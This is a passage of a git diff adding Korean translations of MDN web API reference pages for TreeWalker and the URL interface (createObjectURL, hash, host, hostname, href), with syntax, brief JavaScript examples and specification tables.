+<p><code><strong>TreeWalker.currentNode</strong></code> 속성은 {{domxref("TreeWalker")}}가 현재 가리키고 있는 {{domxref("Node")}}를 나타낸다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox"><em>node</em> = <em>treeWalker</em>.currentNode;
+<code><em>treeWalker</em></code>.currentNode = <em>node</em>;
+</pre>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre class="brush: js">var treeWalker = document.createTreeWalker(
+    document.body,
+    NodeFilter.SHOW_ELEMENT,
+    { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } },
+    false
+);
+root = treeWalker.currentNode; // 첫번째 엘리먼트인 루트 엘리먼트!
+</pre>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-treewalker-currentnode', 'TreeWalker.currrentNode')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>{{SpecName('DOM2 Traversal_Range')}}에서 바뀌지 않음</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-TreeWalker-currentNode', 'TreeWalker.currentNode')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.TreeWalker.currentNode")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("TreeWalker")}} 인터페이스</li>
+</ul>
diff --git a/files/ko/web/api/treewalker/index.html b/files/ko/web/api/treewalker/index.html
new file mode 100644
index 0000000000..1f2a520efd
--- /dev/null
+++ b/files/ko/web/api/treewalker/index.html
@@ -0,0 +1,168 @@
+---
+title: TreeWalker
+slug: Web/API/TreeWalker
+tags:
+  - API
+  - DOM
+  - Reference
+translation_of: Web/API/TreeWalker
+---
+<div>
+<p>{{ APIRef("DOM") }}</p>
+</div>
+
+<p><strong><code>TreeWalker</code></strong> 오브젝트는 도큐먼트 서브트리의 노드들과 그 안에서의 위치를 나타낸다.</p>
+
+<p><code>TreeWalker</code> 는 {{domxref("Document.createTreeWalker()")}} 메소드로 생성할 수 있다.</p>
+
+<h2 id="Properties" name="Properties">속성</h2>
+
+<p><em>이 인터페이스는 어떤 프라퍼티도 상속하지 않는다.</em></p>
+
+<dl>
+ <dt>{{domxref("TreeWalker.root")}} {{readonlyInline}}</dt>
+ <dd><code>TreeWalker</code> 를 생성할 때 지정한 루트 노드를 나타대는 {{domxref("Node")}}를 반환한다.</dd>
+ <dt>{{domxref("TreeWalker.whatToShow")}} {{readonlyInline}}</dt>
+ <dd>제공해야할 {{domxref("Node")}} 유형을 기술하는 <code>unsigned long</code> 비트마스크를 반환한다. 일치하지 않는 노드들은 건너뛰지만 관련된 경우 그 자식들을 포함할 수 있다. 가능한 값들은:
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td class="header">상수</td>
+    <td class="header">숫자 값</td>
+    <td class="header">설명</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ALL</code></td>
+    <td><code>-1</code> ( <code>unsigned long의 최대 값</code>)</td>
+    <td>모든 노드를 보여준다.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ATTRIBUTE</code> {{deprecated_inline}}</td>
+    <td><code>2</code></td>
+    <td>속성 {{ domxref("Attr") }} 노드들을 보여준다. {{ domxref("Attr") }}노드가 루트인 {{ domxref("TreeWalker") }}를 생성할 때에만 의미가 있다. 이 경우, 그 속성 노드가 그 반복 또는 순회에 첫 위치로 나타남을 의미한다. 속성은 결코 다른 노드의 자식이 아니기 때문에 도큐먼트 트리를 순회할 때는 나타나지 않는다.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_CDATA_SECTION</code> {{deprecated_inline}}</td>
+    <td><code>8</code></td>
+    <td>{{ domxref("CDATASection") }} 노드들을 보여준다.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_COMMENT</code></td>
+    <td><code>128</code></td>
+    <td>{{ domxref("Comment") }} 노드들을 보여준다.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_DOCUMENT</code></td>
+    <td><code>256</code></td>
+    <td>{{ domxref("Document") }} 노드들을 보여준다.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_DOCUMENT_FRAGMENT</code></td>
+    <td><code>1024</code></td>
+    <td>{{ domxref("DocumentFragment") }} 노드들을 보여준다.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_DOCUMENT_TYPE</code></td>
+    <td><code>512</code></td>
+    <td>{{ domxref("DocumentType") }} 노드들을 보여준다.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ELEMENT</code></td>
+    <td><code>1</code></td>
+    <td>{{ domxref("Element") }} 노드들을 보여준다.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ENTITY</code> {{deprecated_inline}}</td>
+    <td><code>32</code></td>
+    <td>{{ domxref("Entity") }} 노드들을 보여준다. {{ domxref("Entity") }} 노드를 루트로 하여 {{ domxref("TreeWalker") }}를 생성할 때만 의미가 있다; 이 경우, 그 {{ domxref("Entity") }} 노드가 그 순회의 첫 위치에 나타남을 의미한다. 엔티티들은 도큐먼트 트리의 일부가 아니기 때문에 도큐먼트 트리를 순회할 때 나타나지 않는다.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_ENTITY_REFERENCE</code> {{deprecated_inline}}</td>
+    <td><code>16</code></td>
+    <td>{{ domxref("EntityReference") }} 노드들을 보여준다.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_NOTATION</code> {{deprecated_inline}}</td>
+    <td><code>2048</code></td>
+    <td>{{ domxref("Notation") }} 노드들을 보여준다. {{ domxref("Notation") }} 노드를 루트로 하여 {{ domxref("TreeWalker") }}를 생성할 때만 의미가 있다; 이 경우, 그 {{ domxref("Notation") }} 노드가 순회의 첫 위치에 나타남을 의미한다, 그들은 도큐먼트 트리를 순회할 때 나타나지 않는다.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_PROCESSING_INSTRUCTION</code></td>
+    <td><code>64</code></td>
+    <td>{{ domxref("ProcessingInstruction") }} 노드들을 보여준다.</td>
+   </tr>
+   <tr>
+    <td><code>NodeFilter.SHOW_TEXT</code></td>
+    <td><code>4</code></td>
+    <td>{{ domxref("Text") }} 노드들을 보여준다.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt>{{domxref("TreeWalker.filter")}} {{readonlyInline}}</dt>
+ <dd>의미있는 노드들을 선택하기 위해 사용하는 {{domxref("NodeFilter")}}를 반환한다.</dd>
+ <dt>{{domxref("TreeWalker.expandEntityReferences")}} {{readonlyInline}}{{obsolete_inline}}</dt>
+ <dd>한 {{domxref("EntityReference")}}를 버릴 때 그 것의 전체 서브트리도 같이 버려야함을 표시하는 {{domxref("Boolean")}}이다.</dd>
+ <dt>{{domxref("TreeWalker.currentNode")}}</dt>
+ <dd><code>TreeWalker</code>가 현재 가리키고 있는 {{domxref("Node")}}이다.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">메서드</h2>
+
+<p><em>이 인터페이스는 아무 메서드도 상속하지 않는다.</em></p>
+
+<div class="note">
+<p><em>TreeWalker는 보이는 DOM 노드만 고려한다는 것에주의하라.</em></p>
+</div>
+
+<dl>
+ <dt>{{domxref("TreeWalker.parentNode()")}}</dt>
+ <dd>현재 {{domxref("Node")}}를 도큐먼트 순서의 첫번째 보이는 조상으로 이동하고 찾은 노드를 반환한다. 그런 노드가 없거나 오브젝트 생성시에 정의한 <em>루트 노드</em>보다 앞이면 <code>null</code>을 반환하고 현재 노드는 바뀌지 않는다.</dd>
+ <dt>{{domxref("TreeWalker.firstChild()")}}</dt>
+ <dd>현재 {{domxref("Node")}}를 현재 노드의 첫번째 보이는 자식으로 이동하고 찾은 자식을 반환한다. 그런 자식이 없으면 <code>null</code>을 반환하고 현재 노드는 바뀌지 않는다.</dd>
+ <dt>{{domxref("TreeWalker.lastChild()")}}</dt>
+ <dd>현재 {{domxref("Node")}}를 현재 노드의 마지막 보이는 자식으로 이동하고 찾은 자식을 반환한다. 그런 자식이 없으면 <code>null</code>을 반환하고 현재 노드는 바뀌지 않는다.</dd>
+ <dt>{{domxref("TreeWalker.previousSibling()")}}</dt>
+ <dd>현재 {{domxref("Node")}}를 이전 형제로 이동하고 찾은 형제를 반환한다. 그런 노드가 없으면 <code>null</code>을 반환하고 현재 노드는 바뀌지 않는다.</dd>
+ <dt>{{domxref("TreeWalker.nextSibling()")}}</dt>
+ <dd>현재 {{domxref("Node")}}를 다음 형제로 이동하고 찾은 형제를 반환한다. 그런 노드가 없으면 <code>null</code>을 반환하고 현재 노드는 바뀌지 않는다.</dd>
+ <dt>{{domxref("TreeWalker.previousNode()")}}</dt>
+ <dd>현재 {{domxref("Node")}}를 도큐먼트 순서의 이전 보이는 노드로 이동하고 찾은 노드를 반환한다. 그런 노드가 없거나 오브젝트 생성시에 정의한 <em>루트 노드</em>보다 앞이면 <code>null</code>을 반환하고 현재 노드는 바뀌지 않는다.</dd>
+ <dt>{{domxref("TreeWalker.nextNode()")}}</dt>
+ <dd>현재 {{domxref("Node")}}를 도큐먼트 순서의 다음 보이는 노드로 이동하고 찾은 노드를 반환한다. 그런 노드가 없거나 오브젝트 생성시에 정의한 <em>루트 노드</em>보다 앞이면 <code>null</code>을 반환하고 현재 노드는 바뀌지 않는다.</dd>
+</dl>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-treewalker', 'TreeWalker')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Removed the <code>expandEntityReferences</code> property.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-TreeWalker', 'TreeWalker')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.TreeWalker")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>생성 메소드: {{domxref("Document.createTreeWalker()")}}.</li>
+ <li>관련된 인터페이스: {{domxref("NodeFilter")}}, {{domxref("NodeIterator")}}.</li>
+</ul>
diff --git a/files/ko/web/api/url/createobjecturl/index.html b/files/ko/web/api/url/createobjecturl/index.html
new file mode 100644
index 0000000000..cd38dcd8ea
--- /dev/null
+++ b/files/ko/web/api/url/createobjecturl/index.html
@@ -0,0 +1,101 @@
+---
+title: URL.createObjectURL()
+slug: Web/API/URL/createObjectURL
+tags:
+  - API
+  - Method
+  - Reference
+  - URL
+  - URL API
+translation_of: Web/API/URL/createObjectURL
+---
+<div>{{APIRef("URL API")}}</div>
+
+<p><span class="seoSummary"><strong><code>URL.createObjectURL()</code></strong> 정적 메서드는 주어진 객체를 가리키는 URL을 {{domxref("DOMString")}}으로 반환합니다.</span> 해당 URL은 자신을 생성한 창의 {{domxref("document")}}가 사라지면 함께 무효화됩니다.</p>
+
+<p>객체 URL을 해제하려면 {{domxref("URL.revokeObjectURL", "revokeObjectURL()")}}을 호출하세요.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<div class="note">
+<p><strong>참고:</strong> 이 기능은 메모리 누수의 가능성으로 인해 <a href="/ko/docs/Web/API/Service_Worker_API">Service Worker</a>에서 사용할 수 없습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>objectURL</em> = URL.createObjectURL(<em>object</em>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>object</code></dt>
+ <dd>객체 URL을 생성할 {{domxref("File")}}, {{domxref("Blob")}}, {{domxref("MediaSource")}} 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>지정한 <code>object</code>의 참조 URL을 담은 {{domxref("DOMString")}}</p>
+
+<ul>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<p><a href="/ko/docs/Web/API/File/Using_files_from_web_applications#예시_객체_URL을_사용하여_이미지_표시하기">객체 URL을 사용하여 이미지 표시하기</a>를 보세요.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<h3 id="메모리_관리">메모리 관리</h3>
+
+<p>같은 객체를 사용하더라도, <code>createObjectURL()</code>을 매번 호출할 때마다 새로운 객체 URL을 생성합니다. 각각의 URL을 더는 쓰지 않을 땐 {{domxref("URL.revokeObjectURL()")}}을 사용해 하나씩 해제해줘야 합니다.</p>
+
+<p>브라우저는 불러온 문서를 해제할 때 객체 URL도 자동으로 해제합니다. 그러나 최적의 성능과 메모리 사용량을 위해서, 객체 URL을 해제해도 안전하다면 그렇게 해야 합니다.</p>
+
+<h3 id="미디어_스트림_객체_URL">미디어 스트림 객체 URL</h3>
+
+<p>구 Media Source 명세에서는 {{HTMLElement("video")}} 요소에 스트림을 부착하려면 {{domxref("MediaStream")}}의 객체 URL을 생성했어야 했습니다. 이제 이런 과정은 필수가 아니며, 브라우저도 지원을 중단하고 있습니다.</p>
+
+<div class="warning">
+<p><strong>중요:</strong> 아직 미디어 요소에 {{domxref("URL.createObjectURL", "createObjectURL()")}}을 사용해 스트림을 부착하고 있다면, {{domxref("HTMLMediaElement.srcObject", "srcObject")}}에 <code>MediaStream</code>을 직접 설정하도록 코드를 수정해야 합니다.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API', '#dfn-createObjectURL', 'createObjectURL()')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Source Extensions', '#dom-url-createobjecturl', 'URL')}}</td>
+   <td>{{Spec2('Media Source Extensions')}}</td>
+   <td>
+    <p>MediaSource extension.</p>
+
+    <p>Older versions of this specification used <code>createObjectURL()</code> for {{domxref("MediaStream")}} objects; this is no longer supported.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.URL.createObjectURL")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/File/Using_files_from_web_applications" title="Using files from web applications">웹 애플리케이션에서 파일 사용하기</a></li>
+ <li>{{domxref("URL.revokeObjectURL()")}}</li>
+ <li>{{domxref("HTMLMediaElement.srcObject")}}</li>
+ <li>{{domxref("FileReader.readAsDataURL()")}}</li>
+</ul>
diff --git a/files/ko/web/api/url/hash/index.html b/files/ko/web/api/url/hash/index.html
new file mode 100644
index 0000000000..e14c99aabb
--- /dev/null
+++ b/files/ko/web/api/url/hash/index.html
@@ -0,0 +1,62 @@
+---
+title: URL.hash
+slug: Web/API/URL/hash
+tags:
+  - API
+  - Property
+  - Reference
+  - URL
+  - URL API
+translation_of: Web/API/URL/hash
+---
+<div>{{ APIRef("URL API") }}</div>
+
+<p><span class="seoSummary">{{domxref("URL")}} 인터페이스의 <strong><code>hash</code></strong> 속성은 맨 앞의 <code>'#'</code>과 함께 URL의 프래그먼트 식별자를 담고 있는 {{domxref("USVString")}}입니다.</span></p>
+
+<p>프래그먼트에는 <a href="/en-US/docs/Glossary/percent-encoding">퍼센트 디코딩</a>을 적용하지 않습니다. URL이 프래그먼트 식별자를 포함하지 않은 경우 빈 문자열을 반환합니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>string</em> = <em>url</em>.hash
+<em>url</em>.hash = <em>newHash</em>
+</pre>
+
+<h3 id="값">값</h3>
+
+<p>{{domxref("USVString")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">const url = new URL('https://developer.mozilla.org/ko/docs/Web/API/URL/href#예제');
+console.log(url.hash); // Logs: '#예제'</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('URL', '#dom-url-hash', 'URL.hash')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.URL.hash")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>속성이 속한 {{domxref("URL")}} 인터페이스.</li>
+</ul>
diff --git a/files/ko/web/api/url/host/index.html b/files/ko/web/api/url/host/index.html
new file mode 100644
index 0000000000..b29da1bd73
--- /dev/null
+++ b/files/ko/web/api/url/host/index.html
@@ -0,0 +1,67 @@
+---
+title: URL.host
+slug: Web/API/URL/host
+tags:
+  - API
+  - Property
+  - Reference
+  - URL
+  - URL API
+translation_of: Web/API/URL/host
+---
+<div>{{ApiRef("URL API")}}</div>
+
+<p>{{domxref("URL")}} 인터페이스의 <strong><code>host</code></strong> 속성은 URL의 호스트, 즉 {{domxref("URL.hostname", "hostname")}}와 함께, {{glossary("port", "포트")}}가 존재하는 경우 <code>':'</code>과 그 뒤의 {{domxref("URL.port", "port")}}를 포함하는 {{domxref("USVString")}} 문자열입니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>host</em> = <em>url</em>.host
+<em>url.<code>host</code></em> = <em>newHost</em>
+</pre>
+
+<h3 id="값">값</h3>
+
+<p>{{domxref("USVString")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">let url = new URL('https://developer.mozilla.org/ko/docs/Web/API/URL/host');
+console.log(url.host); // "developer.mozilla.org"
+
+url = new URL('https://developer.mozilla.org:443/ko/docs/Web/API/URL/host');
+console.log(url.host); // "developer.mozilla.org"
+// The port number is not included because 443 is the scheme's default port
+
+url = new URL('https://developer.mozilla.org:4097/ko/docs/Web/API/URL/host');
+console.log(url.host); // "developer.mozilla.org:4097"</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('URL', '#dom-url-host', 'URL.host')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.URL.host")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>속성이 속한 {{domxref("URL")}} 인터페이스.</li>
+</ul>
diff --git a/files/ko/web/api/url/hostname/index.html b/files/ko/web/api/url/hostname/index.html
new file mode 100644
index 0000000000..c6238452e0
--- /dev/null
+++ b/files/ko/web/api/url/hostname/index.html
@@ -0,0 +1,59 @@
+---
+title: URL.hostname
+slug: Web/API/URL/hostname
+tags:
+  - API
+  - Property
+  - Reference
+  - URL
+  - URL API
+translation_of: Web/API/URL/hostname
+---
+<div>{{ApiRef("URL API")}}</div>
+
+<p>{{domxref("URL")}} 인터페이스의<strong> <code>hostname</code></strong> 속성은 URL의 {{glossary("domain name", "도메인 이름")}}을 담은 {{domxref("USVString")}}을 반환합니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>domain</em> = <em>url</em>.hostname
+<em>url.</em>hostname = <em>domain</em></pre>
+
+<h3 id="값">값</h3>
+
+<p>{{domxref("USVString")}},</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">const url = new URL('https://developer.mozilla.org/ko/docs/Web/API/URL/hostname');
+console.log(url.hostname); // Logs: 'developer.mozilla.org'</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('URL', '#dom-url-hostname', 'URL.hostname')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.URL.hostname")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>속성이 속한 {{domxref("URL")}} 인터페이스.</li>
+</ul>
diff --git a/files/ko/web/api/url/href/index.html b/files/ko/web/api/url/href/index.html
new file mode 100644
index 0000000000..87e33d3353
--- /dev/null
+++ b/files/ko/web/api/url/href/index.html
@@ -0,0 +1,59 @@
+---
+title: URL.href
+slug: Web/API/URL/href
+tags:
+  - API
+  - Property
+  - Reference
+  - URL
+  - URL API
+translation_of: Web/API/URL/href
+---
+<div>{{ApiRef("URL API")}}</div>
+
+<p>{{domxref("URL")}} 인터페이스의 <strong><code>href</code></strong> 속성은 전체 URL을 담은 {{domxref("USVString")}}입니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const<em> urlString</em> = <em>url</em>.href
+<em>url</em>.href = <em>newUrlString</em></pre>
+
+<h3 id="값">값</h3>
+
+<p>{{domxref("USVString")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">const url = new URL('https://developer.mozilla.org/ko/docs/Web/API/URL/href');
+console.log(url.href); // Logs: 'https://developer.mozilla.org/ko/docs/Web/API/URL/href'</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('URL', '#dom-url-href', 'URL.href')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.URL.href")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>속성이 속한 {{domxref("URL")}} 인터페이스.</li>
+</ul>
diff --git a/files/ko/web/api/url/index.html b/files/ko/web/api/url/index.html
new file mode 100644
index 0000000000..ac29f47f05
--- /dev/null
+++ b/files/ko/web/api/url/index.html
@@ -0,0 +1,143 @@
+---
+title: URL
+slug: Web/API/URL
+tags:
+  - API
+  - Interface
+  - Overview
+  - Reference
+  - URI
+  - URL
+  - URL API
+  - Web
+translation_of: Web/API/URL
+---
+<div>{{APIRef("URL API")}}</div>
+
+<p><span class="seoSummary"><strong><code>URL</code></strong> 인터페이스는 {{glossary("URL")}}을 분석, 생성, 정규화, 인코딩 할 때 사용하며, URL의 각 구성요소를 쉽게 읽고 쓸 수 있는 속성을 제공합니다.</span> <code>URL</code> 객체 생성은 생성자에 전체 URL 문자열, 또는 상대 URL과 기준 URL을 생성자에 전달해 진행합니다. 이렇게 생성한 URL 객체를 사용해 URL을 쉽게 바꾸거나 읽을 수 있습니다.</p>
+
+<p>브라우저가 아직 {{domxref("URL.URL", "URL()")}} 생성자를 지원하지 않을 땐 {{domxref("Window")}} 인터페이스의 <code>Window.URL</code> 속성으로 <code>URL</code> 객체에 접근할 수 있습니다. 개발에 사용하기 전, 프로젝트의 지원 대상 브라우저를 확인하고, 이런 절차를 추가해야 하는지 결정하세요.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("URL.URL", "new URL()")}}</dt>
+ <dd>주어진 절대 URL, 또는 상대 URL과 기준 URL 문자열을 사용해 생성한 <code>URL</code> 객체를 생성하고 반환합니다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("URL.hash", "hash")}}</dt>
+ <dd><code>'#'</code>과 URL의 프래그먼트 식별자를 담은 {{domxref("USVString")}}입니다.</dd>
+ <dt>{{domxref("URL.host", "host")}}</dt>
+ <dd>URL의 도메인(호스트 이름), <code>':'</code>, 포트를 담은 {{domxref("USVString")}}입니다.</dd>
+ <dt>{{domxref("URL.hostname", "hostname")}}</dt>
+ <dd>URL의 도메인을 담은 {{domxref("USVString")}}입니다.</dd>
+ <dt>{{domxref("URL.href", "href")}}</dt>
+ <dd>전체 URL을 반환하는 문자열화 속성입니다.</dd>
+ <dt>{{domxref("URL.origin", "origin")}} {{readonlyInline}}</dt>
+ <dd>URL의 {{glossary("origin", "출처")}}, 즉 스킴, 도메인, 포트를 담은 {{domxref("USVString")}}입니다.</dd>
+ <dt>{{domxref("URL.password", "password")}}</dt>
+ <dd>도메인 이름 이전에 지정된 비밀번호를 담은 {{domxref("USVString")}}입니다.</dd>
+ <dt>{{domxref("URL.pathname", "pathname")}}</dt>
+ <dd><code>'/'</code>와 URL의 경로를 담은 {{domxref("USVString")}}입니다.</dd>
+ <dt>{{domxref("URL.port", "port")}}</dt>
+ <dd>URL의 포트 번호를 담은 {{domxref("USVString")}}입니다.</dd>
+ <dt>{{domxref("URL.protocol", "protocol")}}</dt>
+ <dd>URL의 {{glossary("protocol", "프로토콜")}} 스킴을 담은 {{domxref("USVString")}}입니다. 마지막 <code>':'</code>을 포함합니다.</dd>
+ <dt>{{domxref("URL.search", "search")}}</dt>
+ <dd>URL의 매개변수 문자열을 나타내는 {{domxref("USVString")}}입니다. 어떤 매개변수라도 존재하는 경우 <code>'?'</code> 문자로 시작해, 모든 매개변수를 포함합니다.</dd>
+ <dt>{{domxref("URL.searchParams", "searchParams")}} {{readonlyInline}}</dt>
+ <dd><code>search</code> 속성의 매개변수 각각에 접근할 수 있는 {{domxref("URLSearchParams")}} 객체입니다.</dd>
+ <dt>{{domxref("URL.username","username")}}</dt>
+ <dd>도메인 이름 이전에 지정된 사용자 이름을 담은 {{domxref("USVString")}}입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{domxref("URL.toString", "toString()")}}</dt>
+ <dd>전체 URL을 담은 {{domxref("USVString")}}을 반환합니다. {{domxref("URL.href")}}와 동일하나, <code>toString()</code>으로는 URL을 편집할 수 없습니다.</dd>
+ <dt>{{domxref("URL.toJSON", "toJSON()")}}</dt>
+ <dd>전체 URL을 담은 {{domxref("USVString")}}을 반환합니다. {{domxref("URL.href")}}와 동일한 문자열을 반환합니다.</dd>
+</dl>
+
+<h2 id="정적_메서드">정적 메서드</h2>
+
+<dl>
+ <dt>{{domxref("URL.createObjectURL", "createObjectURL()")}}</dt>
+ <dd>고유한 블롭 URL, 즉 <code>blob:</code> 을 스킴으로 하고, 브라우저 내의 객체를 가리키는 고유한 불투명 문자열을 그 뒤에 붙인 {{domxref("DOMString")}}을 반환합니다.</dd>
+ <dt>{{domxref("URL.revokeObjectURL", "revokeObjectURL()")}}</dt>
+ <dd>이전에 {{domxref("URL.createObjectURL()")}}로 생성한 객체 URL을 취소합니다.</dd>
+</dl>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p>생성자는 <code>url</code> 매개변수를 받으며, URL이 상대 URL인 경우 선택적으로 <code>base</code> 매개변수를 지정해 기준으로 사용할 수 있습니다.</p>
+
+<pre class="brush: js">const url = new URL('../cats', 'http://www.example.com/dogs');
+console.log(url.hostname); // "www.example.com"
+console.log(url.pathname); // "/cats"
+</pre>
+
+<p>URL 속성을 사용해 URL을 만들 수 있습니다.</p>
+
+<pre class="brush: js">url.hash = 'tabby';
+console.log(url.href); // "http://www.example.com/cats#tabby"
+</pre>
+
+<p>URL은 {{RFC(3986)}}의 규칙을 따라 인코딩 됩니다.</p>
+
+<pre class="brush: js">url.pathname = 'démonstration.html';
+console.log(url.href); // "http://www.example.com/d%C3%A9monstration.html"
+</pre>
+
+<p>{{domxref("URLSearchParams")}} 인터페이스를 사용해 URL 쿼리 문자열을 생성하거나 조작할 수 있습니다.</p>
+
+<p>현재 URL의 검색 매개변수를 가져오려면 다음과 같은 코드를 사용하세요.</p>
+
+<pre class="brush: js">// https://some.site/?id=123
+const parsedUrl = new URL(window.location.href);
+console.log(parsedUrl.searchParams.get("id")); // "123"</pre>
+
+<p>{{domxref("URL.toString", "toString()")}} 메서드는 단순히 {{domxref("URL.href", "href")}} 속성의 값을 반환하는 것이므로, URL 정규화와 인코딩에 생성자를 직접 사용할 수 있습니다.</p>
+
+<pre class="brush: js">const response = await fetch(new URL('http://www.example.com/démonstration.html'));</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API', '#creating-revoking', 'URL')}}</td>
+   <td>{{Spec2('File API')}}</td>
